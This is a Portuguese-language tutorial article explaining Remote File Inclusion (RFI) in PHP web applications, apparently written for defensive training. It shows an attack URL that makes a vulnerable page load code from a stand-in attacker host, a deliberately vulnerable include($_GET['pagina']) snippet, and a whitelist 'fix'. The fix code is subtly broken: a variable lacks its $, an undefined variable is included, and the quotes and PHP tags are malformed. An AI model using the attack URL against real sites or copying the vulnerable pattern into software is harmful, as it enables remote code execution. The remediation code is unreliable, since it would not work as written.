Saiba Tudo Sobre Inclusão de Arquivos Remotos (RFI)
Conforme a internet e tecnologia avança, mais opções e facilidades o usuário tem para resolver tarefas e transações via internet. Acompanhando esta evolução, estão os ataques, que tentam roubar informações e causar outros tipos de danos. Diversos tipos de ataques são usados na tentativa de obter informações confidenciais e importantes, dentre eles o SQL Injection, XSS e RFI.
Curso GRÁTIS: Curso Online ISO 27001 Overview
-
O que é RFI?
O RFI (traduzido significa: Inclusão de Arquivos Remotos) é um tipo de vulnerabilidade que ocorre pela falta de validação na entrada de dados pelo usuário, onde scripts são passados para uma aplicação WEB.
-
Para que serve?
Uma aplicação que seja vulnerável ao RFI permite que o invasor faça inclusão de códigos (de arquivo hospedado remotamente) em um script executado no servidor que hospeda a aplicação.
Quando o código do invasor é executado no servidor, ele poderá roubar arquivos temporários, além de manipular informações e demais arquivos deste servidor.
-
Como funciona:
Um atacante tentará identificar a vulnerabilidade de algum site, verificando a sua URL. Considere o seguinte site:
www.exemplo.com/index.php?page=PageName
O usuário mal intencionado tentará inserir um link contendo o código malicioso, como a seguir:
www.exemplo.com/index.php?page=http://www.ataque.com/arquivo.php
Se o site for vulnerável, ele abrirá o link remoto, e, portanto, o usuário poderá prosseguir com o ataque.
-
Prevenção
Assim como os demais tipos de ataques, o RFI aproveita de entrada de dados de forma não segura. Dessa forma, a melhor forma para evitar ataques RFI é validar todas as páginas que sejam incluídas.
-
Exemplo:
A seguir apresentamos um trecho de um código em PHP que está programado de uma forma que torna uma página vulnerável.
?php
Include ($_GET[‘pagina’]);
?>
Neste código, a variável ‘pagina’ não é validada em nenhum momento, deixando o caminho aberto para a inclusão de arquivos remotos. Para solucionar este tipo de vulnerabilidade, o caminho ideal seria modificar o código fonte, fazendo as validações necessárias na entrada dos dados. Vamos ver um exemplo no trecho do código a seguir:
?php
var = $_GET[‘pagina’];
$pages = array(‘index.php’, ‘pagina1.php’, ‘pagina2.php’);
If(in_array ($var, $pages))
{
Include($pagina);
} else {
die (“tentativa de ataque”);
}
?>
Então, como podemos perceber, a validação na entrada de dados do usuário, é extremamente importante para evitar ataques de inclusão de arquivos remotos. A falta de tratamento nos dados sempre deixará a aplicação vulnerável.
Devemos partir do seguinte princípio: “Não confie em tudo que o usuário digitará”. Toda linguagem de programação possui recursos que permite tratar dados e formulários, seja por arrays ou outras funções.
Leia também nossos artigos sobre a carreiras na área de:
Artigos Relacionados